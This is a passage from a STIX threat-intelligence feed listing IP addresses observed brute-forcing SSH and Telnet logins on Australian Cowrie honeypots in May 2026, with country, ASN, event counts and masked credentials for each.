      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RS. ASN(s): 8400. Organisation(s): TELEKOM SRBIJA a.d..",
      "id": "indicator--20ddc329-b24a-4054-8555-a19d1e139e73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.86.132.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9b91230a-df6b-483f-b727-d8c3916602d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.102.169.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--add4f652-0cb3-4574-ab3a-b79f888bd273",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.123.106.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8777fe1e-032f-4227-96fe-f528b5f2afff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.207.127.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2506dc45-cf6d-40de-ae68-71c4285272a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.55.173.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--777974f9-73f9-4b3f-8532-4c289a470ae4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.248.225.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8e7268ea-e0a8-4d69-a982-a5781f091599",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.99.167.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b7053218-0efc-4ad7-9840-57eae22346d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.172.67.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8324a9dd-6a27-44b7-b460-da36dc04fbce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.96.48.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CI. ASN(s): 29571. Organisation(s): ORANGE-COTE-IVOIRE. Usernames observed (masked): r**t. Passwords observed (masked): !*******e.",
      "id": "indicator--d84e3a5e-694b-46d0-b95d-fad294f76c4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.155.68.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9231. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--7031babd-a4ab-4127-9a24-43a0fe60a85a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.81.122.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 265198. Organisation(s): BLUE3 TECNOLOGIA EIRELI.",
      "id": "indicator--190df4bc-28a2-41f1-935a-3cb76d7d547b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.250.28.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ec835913-5266-4e7a-bca3-83cd23e18573",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.13.226.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 35819. Organisation(s): Etihad Etisalat, a joint stock company.",
      "id": "indicator--e02b35b9-d9a3-4815-ad07-6ebf86bff598",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.19.245.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 61414. Organisation(s): Edgenap Ltd. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--0f1d9930-cc4a-48a1-ae94-3235476724be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.243.41.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53006. Organisation(s): ALGAR TELECOM SA.",
      "id": "indicator--3278438b-1a93-44bf-9844-9d13b755ff7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.41.97.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--671e72b2-98d7-4f14-bdb2-5efae0f18256",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.216.93.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MN. ASN(s): 17882. Organisation(s): UNIVISION LLC. Usernames observed (masked): r**t, u****u. Passwords observed (masked): **, p****r, u****u.",
      "id": "indicator--e0cb40cc-56e4-43d9-9b4e-0ae2281bfb3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.21.120.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--4e998d82-4e21-4500-844f-0e755f26267b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.135.174.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--edacb7f1-adda-43d8-a8aa-cf44c920351d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '219.156.53.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--42dc9153-8693-4385-ab85-1a93c056a3ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.151.248.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--97b41fda-cde4-47b5-9b70-1d83cd336b67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.21.24.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--fb717a6b-e4a5-47be-931c-61d3bbabdddf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.21.25.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5d15e6a2-2491-4c44-a7ea-f34eb931518b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.31.108.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 43766. Organisation(s): Mobile Telecommunication Company Saudi Arabia Joint-Stock company.",
      "id": "indicator--b4327e77-852b-42e9-a61b-fec58036f276",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.39.247.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--db337663-fa7a-4d22-b7fb-0da2e8743a57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.47.121.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--37d58c4a-d5ad-441c-9f04-f7869fc83267",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.50.45.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): t******r. Passwords observed (masked): *.",
      "id": "indicator--791264af-a75f-4744-8aa9-41475218b28c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.133.60.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--1dac9235-fd56-4c6f-9f14-0c9678faaf4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.233.26.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:15:10.000Z",
      "valid_until": "2026-06-23T22:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--99a34bea-c840-4801-ae42-fb032baeafea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.183.130.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1d1a72d5-a907-497c-a3ca-af21de4460b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.176.39.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9924644e-fa71-4cb8-8f3a-4efbe7fbf543",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.177.72.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d7362885-4500-4458-bf0e-60257012a959",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.61.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, k**e, n******r, r****h. Passwords observed (masked): ***, 3***********4, 3**********4, A*******#, A********5.",
      "id": "indicator--a0a91687-0a4f-46d1-a1fe-df5f8d8c6ae3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.197.15.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--d78f0aa8-6292-44f3-a171-70095b5c74ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.42.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 265296. Organisation(s): Ellitenet Telecom.",
      "id": "indicator--b90754db-f6c6-4a8a-996d-415495628354",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.90.219.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:15:19.000Z",
      "valid_until": "2026-06-23T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T23:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264550. Organisation(s): M H SAT SERVICOS EM TELECOMUNICACOES.",
      "id": "indicator--684c1dec-f6ca-4e49-b9ad-315588d92f4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T23:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.0.34.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
